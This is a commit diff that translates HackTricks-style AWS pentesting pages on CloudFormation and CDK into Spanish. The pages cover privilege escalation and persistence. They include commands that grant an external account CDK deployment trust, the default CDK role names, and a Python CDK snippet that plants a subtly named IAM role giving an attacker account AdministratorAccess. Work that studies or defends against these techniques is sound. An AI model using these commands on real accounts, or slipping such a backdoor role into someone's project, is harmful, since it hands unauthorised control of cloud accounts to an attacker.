Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:40:25 +00:00
parent 74a16d7945
commit a550dd29c7
4 changed files with 83 additions and 8 deletions

View File

@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Para más información, accede a:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
El AWS CDK despliega un stack CFN llamado `CDKToolkit`. Este stack soporta un parámetro `TrustedAccounts` que permite a cuentas externas desplegar proyectos CDK en la cuenta de la víctima. Un atacante puede abusar de esto para otorgarse acceso indefinido a la cuenta de la víctima, ya sea utilizando la AWS cli para redeplegar el stack con parámetros, o la AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## cloudformation
Para más información sobre cloudformation, consulta:
Para más información sobre cloudformation consulta:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
En este caso puedes **abusar de una pila de cloudformation existente** para actualizarla y escalar privilegios como en el escenario anterior:
En este caso puedes **abusar de un stack de cloudformation existente** para actualizarlo y escalar privilegios como en el escenario anterior:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -53,7 +53,7 @@ El permiso `cloudformation:SetStackPolicy` se puede utilizar para **darte a ti m
Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation y abusar de los roles de servicio de cloudformation** al igual que con CreateStack o UpdateStack.
La siguiente explotación es una **variación de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizando los **permisos de ChangeSet** para crear una pila.
La siguiente explotación es una **variación de la**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) utilizando los **permisos de ChangeSet** para crear una pila.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
El permiso `cloudformation:SetStackPolicy` se puede usar para **otorgarte permisos de `ChangeSet`** sobre un stack y realizar el ataque.
El permiso `cloudformation:SetStackPolicy` se puede utilizar para **otorgarte permisos de `ChangeSet`** sobre una pila y realizar el ataque.
**Impacto Potencial:** Privesc a roles de servicio de cloudformation.
@@ -103,8 +103,53 @@ Un atacante podría abusar de este permiso sin el permiso passRole para actualiz
**Impacto Potencial:** Privesc a los roles de cloudformation adjuntos.
## AWS CDK
El AWS cdk es un conjunto de herramientas que permite a los usuarios definir su infraestructura como código en lenguajes con los que ya están familiarizados, así como reutilizar secciones fácilmente. El CDK luego convierte el código de alto nivel (es decir, python) en plantillas de Cloudformation (yaml o json).
Para usar el CDK, un usuario administrativo debe primero inicializar la cuenta, lo que crea varios roles de IAM, incluido el *rol de ejecución*, que tiene permisos \*/\*. Estos roles siguen la estructura de nombres `cdk-<qualifier>-<name>-<account-id>-<region>`. La inicialización debe hacerse una vez por región por cuenta.
Por defecto, los usuarios de CDK no tienen acceso para listar los roles necesarios para usar el CDK, lo que significa que necesitarás determinarlos manualmente. Si comprometes la máquina de un desarrollador o algún nodo de CI/CD, estos roles pueden ser asumidos para otorgarte la capacidad de desplegar plantillas CFN, utilizando el rol `cfn-exec` para permitir que CFN despliegue cualquier recurso, comprometiendo completamente la cuenta.
### Determinando los nombres de los roles
Si tienes `cloudformation:DescribeStacks`, los roles están definidos en una pila llamada `CDKToolkit`, y puedes obtener los nombres de allí.
Si estás en una máquina que ha sido utilizada para construir y desplegar proyectos de CDK, puedes obtenerlos de `cdk.out/manafest.json` en el directorio raíz del proyecto.
También puedes hacer una buena suposición sobre cuáles son. `qualifier` es una cadena añadida a los roles que permite que múltiples instancias de la inicialización del CDK se desplieguen a la vez, sin embargo, el valor predeterminado está codificado como `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Agregar código malicioso al código fuente del proyecto
Si puedes escribir en el código fuente del proyecto, pero no puedes desplegarlo tú mismo (por ejemplo, el desarrollador despliega el código a través de CI/CD, no desde la máquina local), aún puedes comprometer el entorno agregando recursos maliciosos a la pila. Lo siguiente agrega un rol de IAM que puede ser asumido por una cuenta atacante a un proyecto de python CDK.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Referencias
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# AWS - Enumeración de CloudFormation y Codestar
# AWS - CloudFormation & Codestar Enum
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
AWS CloudFormation es un servicio diseñado para **agilizar la gestión de recursos de AWS**. Permite a los usuarios centrarse más en sus aplicaciones que se ejecutan en AWS al **minimizar el tiempo dedicado a la gestión de recursos**. La característica principal de este servicio es la **plantilla**—un modelo descriptivo de los recursos de AWS deseados. Una vez que se proporciona esta plantilla, CloudFormation es responsable de la **provisión y configuración** de los recursos especificados. Esta automatización facilita una gestión más eficiente y libre de errores de la infraestructura de AWS.
### Enumeración
### Enumeration
```bash
# Stacks
aws cloudformation list-stacks
@@ -37,13 +37,19 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de cloud
../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation
Verifica si hay **secretos** o información sensible en la **plantilla, parámetros y salida** de cada CloudFormation
## Codestar
AWS CodeStar es un servicio para crear, gestionar y trabajar con proyectos de desarrollo de software en AWS. Puedes desarrollar, construir y desplegar aplicaciones rápidamente en AWS con un proyecto de AWS CodeStar. Un proyecto de AWS CodeStar crea e **integra servicios de AWS** para tu cadena de herramientas de desarrollo de proyectos. Dependiendo de tu elección de plantilla de proyecto de AWS CodeStar, esa cadena de herramientas podría incluir control de versiones, construcción, despliegue, servidores virtuales o recursos sin servidor, y más. AWS CodeStar también **gestiona los permisos requeridos para los usuarios del proyecto** (llamados miembros del equipo).
AWS CodeStar es un servicio para crear, gestionar y trabajar con proyectos de desarrollo de software en AWS. Puedes desarrollar, construir y desplegar aplicaciones rápidamente en AWS con un proyecto de AWS CodeStar. Un proyecto de AWS CodeStar crea e **integra servicios de AWS** para tu cadena de herramientas de desarrollo de proyectos. Dependiendo de tu elección de plantilla de proyecto de AWS CodeStar, esa cadena de herramientas puede incluir control de versiones, construcción, despliegue, servidores virtuales o recursos sin servidor, y más. AWS CodeStar también **gestiona los permisos requeridos para los usuarios del proyecto** (llamados miembros del equipo).
### Enumeration
```bash
@@ -64,7 +70,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de codes
../aws-privilege-escalation/aws-codestar-privesc/
{{#endref}}
## Referencias
## References
- [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)